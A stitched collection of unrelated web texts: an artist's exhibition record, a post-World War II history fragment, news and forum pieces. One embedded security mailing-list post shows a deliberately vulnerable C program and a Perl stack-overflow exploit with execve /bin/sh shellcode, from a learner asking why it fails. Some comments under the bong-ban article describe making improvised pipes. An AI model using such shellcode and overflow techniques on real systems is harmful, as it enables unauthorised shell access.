Judges' Choice Award, 29th Annual Mt. Gretna Outdoor Art Show, Mt. Gretna, Pa, 2003
Second Place, 84th Annual International Juried Show, Art Association of Harrisburg
Second Place, 34th Annual Lititz Outdoor Art Show, 2000
Second Place, 29th Annual Juried Exhibition, York Art Association, York, PA, 1999
Second Place, 31st Annual Lititz Outdoor Art Show, 1997
Silver Award: Open Competition and Exhibition, Federal Reserve Bank, Philadelphia, PA - May 12-June 17, 1997
Third Place, September 2001, 2nd annual Landis Woods Invitational Outdoor Art Show, Neffsville, Pennsylvania
Third Place, "Unbound (Prometheus)", September, 2001, 13th Annual Festival of the Arts, Lansdale, Pennsylvania
Third Place, 1st Annual Landis Woods Outdoor Art Show, 2000
Honorable Mention, 15th Annual Fall for the Arts Festival, Chestnut Hill, Philadelphia, PA
Honorable Mention, 17th Annual Fall for the Arts Festival, Chestnut Hill, Philadelphia, PA
Judge's Award, 2nd Annual Outdoor Art Show, LCAA, 1999, Dr. Leo Mazow
Judges' Award, 32nd Annual Lititz Outdoor Art Show, 1998
Honorable Mention, 1997 "Crabbie Awards", Art Calendar Magazine
Honorable Mention, 3rd National Juried Art Exhibition, Highland Cultural Center, Highland, New York, 1996; juror: Deborah Goldberg, Museum of Modern Art and Metropolitan Museum of Art, NYC.
Invitation - 7th Annual Pocono Manor Fine Art Show, 1996; judges: Ward Jackson, R. Guggenheim Museum, NYC; Fred Brenner; Frances Kelly; Daly Flanagan, MOCA, Los Angeles.
Solo Invitational Exhibition -Temple Beth Or Gallery, Spring House, PA, 1998
Reflecting Pool in Autumn, 1999, acrylic and oil on canvas.
Collection of Steve and Andrea Morgan, Lancaster, PASchedule of Exhibitions 2013 :
.January - Art Association of Harrisburg, PA, Winter Members' Exhibition
.January - Resident Artist Exhibition, Susquehanna Center for the Creative Arts, Columbia, PA
.February - "Landscapes", invitational exhibition, The Demuth Museum Lancaster, PA
.April - Echo Valley Art Group Annual Exhibition, The Ware Center, Lancaster, PA.
.May - June, 84th Annual International Juried Show, Art Association of Harrisburg, PA .May - "Bodies of Art IV", curated group exhibition, Dog Star Books, Lancaster, PA
.June - August - Lancaster Museum of Art Community Open Awards Exhibition .June - August - Echo Valley Art Group exhibition in honor of Carrie Steinman Noonan's
Conestoga House, Ware Center, Lancaster, PA
.July - August - Resident Artists Exhibition, Susquehanna Center for the Creative Arts, Columbia, PA
Schedule of Exhibitions 2012 :
.February - Resident Artist Exhibition, Susquehanna Center for the Creative Arts, Columbia, PA
.February - "An Architect's Influence", invitation exhibition, The Demuth Museum Lancaster, PA
.March - "Circuitous Connections" F & M Faculty Exhibition, The Bronx Art Center, Bronx, New York
. April - Echo Valley Art Group Annual Exhibition, Keystone Art & Culbure Center, Lancaster, PA.
.June-August - Lancaster Museum of Art open awards exhibition
.August-September - 3rd Anniversary Artist Invitational exhibition - Painted Desert Gallery, Lancaster, PA
.September 16 - Annual Echo Valley Art Auction, Rader Park, Lancaster, PA
.September - "House" - Group invitational exhibition, Susquehanna Center for the Creative Arts, Columbia, PA
.October - Solo Exhibition - The Ware Center at Millersville University, Lancaster City, Pa
Schedule of Exhibitions 2011:
.January 24 - February 28 - "The Narrow Road", one person exhibition at Keystone Art and Cultural Center, Lancaster, PA
.February - Exhibition of works by Echo Valley Artists at West Chester University West Chester, PA
.March 5 - 27, Demuth Museum, Lancaster, PA, invitational exhibition "Line, Color, and Light: A Barnes Education"
.March - Women's Expressions, exhibition, cocktail party and auction, Lancaster Women's and Babies Hospital
. April 1 - May 1 - Echo Valley Art Group small works exhibition, Marietta Art House, Marietta, PA
.April 14 - May 14 - one person exhibition, Gallery 705, Stroudsburg, PA.
.July 29-September 7 - Red Rose City Art Exhibition, invitational, Cohen Gallery, The Goggle Works, Reading, Pennsylvania
.November - Hess Gallery, solo exhibition, Zug Hall, Elizabethtown College, Elizabethtown, PA
EXHIBITION INFORMATION FROM 2002 to 2010
The Argument of MARS and the aftermath copyright 2006, 30" x 40", acrylic on canvas
created at "Portraits" collaborative event, March 18, 2006
collection of Mr. Stephen Patterson, Lancaster, Pa
Claire contributes at least 10% of all income from the sale of her artwork to charities which support the homeless, including:
Water Street Rescue Mission Bowery Mission Society St. Phillip the Apostle Church
Fire Island, 1998, acrylic on canvas paper
Collection of Hon Eng, Flushing, NYi>
For your interest and enjoyment, visit the following Awesome Art blogs: "Out There" is literary giant, Jeff Weinstein's, witty, interesting and insight/inciteful media blog. Updated often, visit Out There and, while you're at it, you'll enjoy reading John Perrault's very informative and up to date art diary, "Artopia", which is also available as a podcast. Jeff happens to be a classmate from high school and John is his partner of many years. Both blogs are updated frequently, both excellent and refreshingly readable....Enjoy!
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Hi there and thank you for reading this, I'm new in the pen-test area and want to study a simple buffer overflow exploit on debian 2.6.18-5-686. As I've said I'm new to this field and my goal is to be able to anticipate on possible buffer overflow exploits. I've created this simple script: "test.c" : [code] #include <stdio.h> int main(int argc, char **argv){ char buffer[256]; if (argc == 1) { printf("Usage: %s (input)", argv[0]); } strcpy(buffer, argv[1]); printf(buffer); return 0; } [/code] Then I'm trying to exploit it with: [code] #!/usr/bin/perl $ret = "/x90/x9a/xbf"; $shellcode = "\xb0\x0b". "\x99". "\x52". "\x68\x2f\x2f\x73\x68". "\x68\x2f\x62\x69\x6e". "\x89\xe3". "\x52". "\x53". "\x89\xe1". "\xcd\x80"; $exploit = "\x90" x 235; $exploit .= $shellcode; $exploit .= $ret; system("./a.out $exploit"); [/code] The shellcode is an execve /bin/sh. When I run the perl script it simply returns my bash prompt. So the exploit didn't work. When I type 'exit' afterwards, I'm dropped from my su shell I was in previously, confirming there isn't a "/bin/sh" process. Now the funny thing is when I overflow the buffer of a.out in gdb, with: run `perl -e 'print "A"x262'` Program received signal SIGSEGV, Segmentation fault 0x08048412 in main () It doesn't overflow the EIP, because when I use: i r It says: eip 0x8048412 0x8048412 <main+126> The first time I tried today it overflowed the EIP correctly and I didn't change anything. ECX is 0x41414141 and ESP is 0x4141413d EBP is 0xbf004141 Since stack and frame pointer both have 41 in them I figure part of them is overflowed. Why not the Extended Instruction Pointer? I was wondering if someone was able to help me with this, because I really want to get the hang of this. I don't know if I got the NOP sled and return address right either, because when using GDB: x/s $esp I get: 0x4141413d: <Address 0x4141413d out of bounds I'm kinda stuck from there. My problem in short: - How do I get a reliable return address with GDB - How do I determine the length of the NOP sled - How do I test shellcode Thanks for reading this.. Thanks for any help, pointers and advice. ironmonkey6 ------------------------------------------------------------------------ This list is sponsored by: Cenzic Need to secure your web apps NOW? Cenzic finds more, "real" vulnerabilities fast. Click to try it, buy it or download a solution FREE today! http://www.cenzic.com/downloads ------------------------------------------------------------------------
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Florida Just Made It a Crime to Sell Bongs, Glass Pipes, Etc.
drug addict-turned-drug warrior Rep. Darryl Rouson of St. Petersburg. While the legislation carries stiff penalties for people who "knowingly and intentionally" sell marijuana devices, the Miami New Times reports that the legislation probably won't have much of an impact on head shops:
Florida Republican Gov. Rick Scott just signed the so-called "bong ban" that was introduced in the Florida legislature by"It doesn't change a thing in the way we do business," says Jay Work, owner of Grateful J's, with four smoke shop locations in Broward and Palm Beach County. Work along with the owners of 75 stores around the state joined forces to effectively neuter the pipe ban bill -- championed by state Rep. Darryl Rouson from St. Petersburg, who believes getting rid of pipes is going to stop pot heads from smoking their cheeba.
Work says the Florida Smoke Shop Association raised more than $100,000 and hired a lobbyist to make sure their livelihood wasn't destroyed. "If you don't like the way the people who get elected are governing then you have to get involved," Work says. "We beat them at their own game. Unfortunately to play their game, you need to raise money."
The law says that a person has to "knowingly and intentionally" sell a pipe for illegal drug use to get arrested for a criminal misdemeanor. A second offense will lead to a third degree felony. That means a smoke shop owner or employee has to know without a doubt that you intend to buy a pipe for drug use. They can still sell pipes for tobacco purposes only.
"If you come in referencing illegal substances, then we wouldn't sell it to you," says John, an employee of Headquarters Tobacco & Gift Shop in Hialeah. "But that's how we have always operated."
Indeed, the shop has a sign warning customers that any reference to illegal substances will get them kicked out. The same goes for Midtown Smokeshop at 3503 NE Second Ave. "As a smoke shop, I only sell products for tobacco purposes," says owner Victor. "I'm going to kick you out if you reference drugs."
The bill is nevertheless incredibly stupid, and as PNVP.org points out, the legislative impact assessment predicts that the bill will "increase the state prison bed population."
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the bill will "increase the state prison bed population."
Mission accomplished.
On Topic? Off-topic? You decide:
I just heard M. Riggsy on the NPR radio ("The Takeaway"). Needless to say, my pants are a warm, sticky mess.
Riggs was talking about the normalization of incarceration as depicted by the Sesame Street puppet who addresses the issue by playing a child with an imprisoned parent. Riggs's point, which was not misappropriated, was that this has been normalized in the United States. To his vast credit, Riggs was not driven off-point to talk about Sesame Street but instead talked about the overincarceration that comes from the War on Drugs. I'm not sure if the non-libertarians in the audience got this, but Riggs did a pretty great job arguing that there are just too damn many non-violent people getting caught up in the criminal justice system. We are recklessly ruining individual lives and families en masse
I don't know if I'm reading too much into the sound of his answer, but I could swear I heard real pain in his voice. It was moving.
Great job, Mike Riggs.
Can't think of any response beyond derp.
Indeed. The derp is strong with these ones.
I remember head shops in Atlanta would have signs that read "if it rhymes with dong, don't say it." Or something. Can't recall anyone testing that rule.
You know who else ryhmes with dong?
Actually the correct answer was this chick:
Mostly SFW
Well you know what they say about sucking 200 dicks at once. If it was easy, everybody would do it.
That's funny.
back in HS when none of us could get bongs, we made 'em.
There was the popular (and godawful) pop/soda/coke can... bent with puncture holes.
Or core out an apple just right, add aluminum foil.
one enterprising gent used a tic-tac box
or we just rolled joints... with bible paper if necessary.
Aluminum foil, wrapped around a pencil.
I used to smoke Drum (roll you own cigarettes), so people often asked me to roll their joints for them, then laugh when I gave them joints that looked like unfiltered Camels.
"For Tobacco Use Only"
I thought it was great when Scott killed the stupid high speed rail from Orlando to Tampa. Then he went off the reservation and decided to do stupid stuff like this. He also railed against Obamacare and then decided to take that sweet Medicare graft after all the whining.
Ya, but his handlers in the legislature sorted him out on that issue.
Yeah, Scott is shaping up to be a disappointment when he can't stick to his convictions (if he even has any).
He's turning into a flip-flopping dope for who knows why.
Maybe he thinks compromising on crappy ideas is going to buy him any loyalty from the liberals in the state who hate him? Instead all the people who voted him in are quickly souring on his lack of cojones.
I guess he sees the pink slip Rick stickers and thinks that is bad. I see the stickers and think keep cutting Ricky.
Do they have those outside of Tallahassee and prison towns?
I've seen them in Orlando and Jacksonville
I remember when I purchased my first pipe. When the lady asked "Would you like a bag with that?" I just scurried out. I was a nervous high school lad. A couple months later they got busted for selling pot.
Saving America's children, one stupid and pointless law at a time.
Ahhh, another drug war hypocrite telling us to ignore his own record. Should we expect anything less when even our presidents are shifty two-faced jagoffs on the subject of narcotics?
I can't wait for this moron to sponsor a bill banning straws for snorting or tubes for smoking rock. Maybe we can pass a bill that rounds up all former crackheads and maroons them on a desert island?
Nice to know an easy idiot to vote against next time.
He probably thinks that BECAUSE he was a former addict, that justifies his hard line. As in "I'm a former addict. I know how bad it is, so listen to me". What I don't get is why people who CAN control their habits have to suffer because of his weakness.
What I don't get is why people who CAN control their habits have to suffer because of his weakness.
Obviously, since he couldn't control his impulses, you can't either.
Interestingly, few alcoholics make that argument, and those that do get called out for being full of shit PDQ.
Ah, the Patrick Kennedy gambit. Nicely played, Mr. Crackhead.
Why don't these fucking legislators get a real job?
I've been rolling it lately whenever I travel to avoid the added paraphernalia charge on the off chance I'm accosted.
I guess these guys have never heard of the internet.
Like everything else fun (namely booze and guns), shit's cheaper on the internet and I can get exactly what I want.
Illadelph is some nice glass.
They banned bongs in Kentucky a while back. One place in town sells them as "glass sculptures."
"Ummm, no, it's not for me. I'm buying it as a present for my giant caterpillar."
I drove through St. Pete the other day, and was amazed how many head shops there were on 4th street.
Bongs are done. I highly (wink) recommend the Vaporgenie. Specifically the brass Sherlock. Vaporization with a lighter. Seriously this thing is awesome.
Ridiculous! Vaping means you miss many valuable terpenes. Terpenes are where the flavor's at. Don't you want to go to where the flavor is?
Most of this vaping craze is the result of an unjustifiable prejudice against smoking.
(For the lazy: Inhaling tobacco smoke is bad for your lungs; marijuana smoke, not so much.)
You couldn't be more wrong. If you want to taste your botanicals this vape is the way to go. The bong tastes like a mouth full of ashes now compared to the vape.


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"We must fight on!"
"We'll die. We fight and we die, that's how it goes."
"Then we die gloriously!"
"There's an important word there, and it's not gloriously."
- Only You Can Save Mankind
Why should I be mad over you stealing a cover that doesn't even fit the desired criteria ?
I don't see anyone dressing funny there, and actually the year that the Days of Future Past is set in is 2013 (mentioned inside the issue), meaning that by the time we will be voting, that's no longer a future cover, but a present day one.
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We struggled against apartheid in South Africa, supported by people the world over, because black people were being blamed and made to suffer for something we could do nothing about; our very skins. It is the same with sexual orientation. It is a given.
- Desmond Tutu
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What have I always believed? That, on the whole, and by and large, if a person lived properly, not according to what any priests said, but according to what seemed decent and honest inside, then it would, at the end, more or less, turn out ok.
Respect is given when honesty exists, when goal posts are not moved, when a simple "I was wrong" is stated rather than a "you misunderstood what I said".
One of my favourite comicbooks ever took place in "The far-flung future of...1965!"
If you can't go to the trouble of examining your own beliefs before sharing them, then don't whine like a bitch when you're called out on them. - ChadH
Might be a bit uncomfortable suit, but seems to come off easy.
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ChadH ruined turducken for me - Paradox
To escape criticism - do nothing, say nothing, be nothing.
Die ChadH! - bipolar danger girl
Where magic 8 balls are used as deadly weaponry!
Beyond a wholesome discipline, be gentle with yourself.
Pull List; seems to be too long to fit in my sig...
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The Rules of the Game: Jutland and British Naval Command
This superb study of military culture – Longman/History Today Book of the Year 1997 – focuses on Jutland and the question of why the British did not do better. The Royal Navy had had no equivalent to the Boer War, no real challenge to suggest that its practices, values and commanders were not up to the job. In particular, Gordon argues that this had enabled the Navy to draw the wrong conclusions from Nelsonian victory. Instead of placing the emphasis on initiative, Nelson's legacy was seen as one of duty. In what is a superb study of the tripartite nature of naval history – the navy at peace, the transition to war and the navy in war – Gordon demonstrates how and why it proved difficult to dispel this dangerous legacy.
This was not simply a matter of doctrinal teachings, but also of patronage structures, and thus of factionalism and personality types. Although Gordon's analysis departs from that of Norman Dixon in his On the Psychology of Military Incompetence (1976), those familiar with Dixon's discussion of the promotability of the mediocre will find much here of interest. Jellicoe is seen as overly cautious.
'All this rationalization made detailed, on-paper sense. But while it is the job of staff-officers to foresee hazards, it is the role of the admiral to review the warnings in the wider context... Jellicoe was himself a natural staff-officer, and his caution compounded theirs... what we can say for certain is that this career technocrat was misled by 'rationalist' doctrine (for which he was ultimately responsible) into getting grossly wrong the threat-percentage in regard to both mines and torpedoes... as a consequence, for seventeen critical minutes... he helped Sheer to disengage'.
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A woman who slipped on a greasy chip outside a Big W store in New South Wales has won a High Court battle for compensation from Woolworths.
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A motoring lobby group says crashes on the Pacific Highway are costing the state economy $170 million a year.
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| UpdatedDespite a drop in passenger numbers the airline Regional Express says there are no immediate plans to axe any regional routes.
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| UpdatedThe outcome of this week's Federal leadership challenge has come as a relief to at least one of the region's councils.
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A portrait of Margaret Olley is expected to be the main drawcard at an exhibition of the 2011 Archibald Prize in Taree.
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A support group for people caring for depression sufferers is about to start in the Manning.
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A five-year-old boy has died after the caravan he was sleeping in was engulfed by flames on a rural property near Taree in northern New South Wales.
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Former federal senator Aden Ridgeway has been named as Greater Taree Council's official Australia Day ambassador.
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Taree council hopes by March it will see the full amount of flood repair grants it has applied for.
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Dredging work will soon be carried out around parts of the Manning River entrance.
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Myall Lakes' MP Steven Bromhead says the New South Wales Government is not delaying the delivery of road grants to the Taree council.
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Visitor numbers in the New South Wales Manning region are down by about 15 per cent compared with last year's summer holiday season.
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| UpdatedThere have been two more deaths on the Pacific Highway, after a car hit a tree near Taree this morning.
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I don't typically participate in forums - rather just read them lots for information, but this Google issue seems to be an exception as I have seen this condition several times over the past several years.
Although it is just a theory, you can make of it what you want.
I started noticing this kind of Google reaction to pages that had significant content changes and about the time Google started to implement their "near-duplicate" content filtering. If page changes were modest and the keywords was relatively modest, Google would not blink. Google would re-rank the page within a few weeks depending on PR value. Higher PR values usually responded faster. But when there were more substantial changes (my experience is limited to copy changes rather than structure changes), Google would kill the page for a period of time.
My theory is that more substantial changes cause Google's near-dup content filter to re-assess the page as if it were from scratch. And as a safe guard, Google kills the page as this near-dup processing takes place. Once the near-dup processing is completed and Google is satisfied that pages have unique content, then rankings return.
Remember, this is just a theory but it has served me well for the past few years.
If Google's pattern is consistent, I would expect rankings to return within the 2-4 week period as it seems Google applies a higher priority to their near-dup content filtering process for pages with higher PR value.
But there could be complications in Google's near-dup content process. Based on some of the older Google patents covering near-dup content, PR "may" be used to assess what page receives ranking over another that is found to be in the same "cluster". If the URLs have changes and if Google is re-assessing PR values for each new URL, then other content on the web that may have near dup content could out rank the new URLs. In this case, Google could take longer to sort everything out and apply 'correct' ranking value to the new pages.
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Jenny Marquess Plays the "Too Fat Polka"
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Jenny Marquess joined Monday host Brian Standing to help pledge rap during WORT's Fall Pledge Drive. She brought her prize Planet accordion along with her, and serenaded listeners with her rendition of the politically incorrect Walt Solek classic, "The Too Fat Polka." If you haven't pledged your support to WORT yet, hit us up online and pledge right now! Tell 'em the Monday Buzz sent ya! more »
Monday, October 14 — Mel Plays the Happy Cure!
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What do you think of when you hear The Cure? Goths wearing all black, eyeliner and lipstick? Gloomy, depressing music? Think again! This Access Hour is dedicated to the Cure and proving that their music is not all doom and gloom. Tune in to listen to some happy Cure music!"……………….Note!!! Also Pledge drive time… more »
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Tuesday, 1 October 2013 | buzz
Two years ago, Mark Mallman performed one song that lasted 78 hours. Last year he produced a song that lasted seven days. He even created music while he was asleep, using brain waves to create electronic song. What's he got up his sleeve this year? On September 30, 2013, Mark joined Brian Standing by phone to tell us more. more »
Madhatters: Acapella Maestros
Tuesday, 1 October 2013 | buzz
The University of Wisconsin MadHatters, based out of Madison, Wisconsin, are the premier men's a cappella group of the UW campus. Since their founding in 1997, they've developed a worldwide following. Will Diepholz and Luke Hrovat-Staedter joined Brian Standing on September 30, 2013. With beat-boxing! more »
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Me! And I wonder if we live in the same, or different crunchy urban neighborhood - I am in Philadelphia, too! (On the edge between Germantown & Mt. Airy.)
TMBM works (or plans to work) outside the home at least part time!
I guess I can answer both of these!
LOVE mexican food, mostly when I make it myself. One of my specialities is fried halibut tacos with homemade pico de gallo, avocado, and cilantro-jalepeno mayo.....yumm, I want some right now.
I currently work full time at a small non-profit doing renewable energy advocacy and education. It is a very rewarding job and I work with fantastic people. I will continue to work after the baby is born (after two months of paid leave plus a month of part time). It's not ideal but I'm the main breadwinner so there really isn't much of a way around it. Luckily, we have a very supportive family in town, and my husband works retail and has a flexible schedule (i.e. has weekdays off), so I don't think that we'll have to rely on daycare more than one day a week, if that. Plus, we live very close to my work so I think it will be very doable for me to come home and breastfeed during my lunch. I'm also hoping my boss will let me work from home one day a week for a while.
I'm positive that we can make it work but I know it will be hard. Hopefully in a couple of years I can find a part time job I love or work for myself as a consultant. If any moms have advice on the transition back to the working world and balancing other life responsibilities, I'd love to hear your thoughts!
TMBM is co-sleeping and has an organic bed (or is thinking about buying one).
We co-sleep and I would love an organic bed, but I haven't seen ones in our price range.
TMBM has been watching ebay etc. for deals.
Ebay little freak here! I have recently discovered it!
And have recently bought 7 cloth nappies for $30 :)
TMBM just wants to meet this little babe inside her!!!!!
I CANNOT wait to meet this babe! I mean, I can, and will wait, but I am so excited! I just wish I had an intuition about what this one's going to be, the suspense is killing me! lol
Travelmumma-I love Ebay with a love that is pure and true :) Etsy too....DH says I fall into a portal when I go to Ebay or Etsy, lol
TMBM has had intense cravings
Dude, I have eaten my weight in tomatoes this week. Seriously, I cannot get enough of fresh, local tomatoes, doused in salt. That's all I want. And then yesterday, as if I didn't eat enough tomatoes, I made tomato soup for supper. So yum!! (and now, after I submit this, I am getting out of bed and going to go have a tomato-y snack, thank you very much!)
TMBM has already started collecting birth supplies...?
I have started collecting birth supplies, mostly just receiving blankets and towels, but still on the way to having it all :)
TMBM has a fabric related hobby (quilting, sewing, etc)
I embroider, though I still consider myself a learner. I am working on a couple of embroidered onesies for the baby. I am super jealous of mamas who can sew or knit, though!
TMBM, has celebrated or will celebrate a "milestone" birthday this year.
I am celebrating a milestone birthday - actually we did last week - my oldest turned 13, and is now a teenager!!!! So crazy being a mama of a teen, and pregnant with another! Sometimes I think I am nuts for having another, I was so 'done' with the diapers & night feedings, etc....
TMBM has a wish-list of maternity clothes she will never actually buy because they are so ridiculously expensive ;)
I am planning to go see my family in Texas next month.
TMBM is signed up for Bradley classes.
Here is a new one to keep the thread moving. Jump in if you are signed up for Bradley! I can't wait to start mine in September!
TMBM is already thinking about baby's first Christmas!
Have I ever. We started a garden this spring and I'm also taking an Organic Gardening class this summer, so it's been consuming our household (as we consume the garden :p). We've had a number of great salads from our garden and I'm using some snap peas in a soba noodle salad for dinner tonight. We dream of living off the grid and living in a sustainable household someday.
TMBM loves Dim Sum!
I LOVE Dim Sum! I love making gao and bau! Mmm, thanks mama now I have a serious hankering! Also esp831 ditto on the plan/dream to live sustainably off the grid someday, this hope/dream/deep desire consumes much of what we do in the present as we work towards that goal
TMBM has her babe's name totally figured out!
We've got names chosen for a boy or girl since we're not finding out. My midwife said I was measuring a little big this week, so maybe we'll need both :) (but I doubt it, she said it was normal to have a growth spurt now)
TMBM is in Holistic Moms Network


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Historical Context
Post-World War II
Britain's loss of empire in the wake of World War II is arguably the single largest defining factor in the shaping of world politics in the last fifty years. Between 1945 and 1985, Britain lost almost all of its fifty formal dependencies in Africa, the Caribbean, the Mediterranean, the Pacific, South- East Asia, and the Far East and withdrew from a number of countries in the Persian Gulf over which it exerted considerable influence. In the preceding three centuries, Britain had colonized numerous countries and lands, while competing for resources and markets with Holland, Spain, and France, each of which had its own colonies and territories. In the seventeenth century, Britain had gained control over the eastern coast of North America, eastern Canada, the Caribbean Islands, and parts of Africa, which it used to acquire slaves, and had developed markets in India. The colonization of Ireland was...
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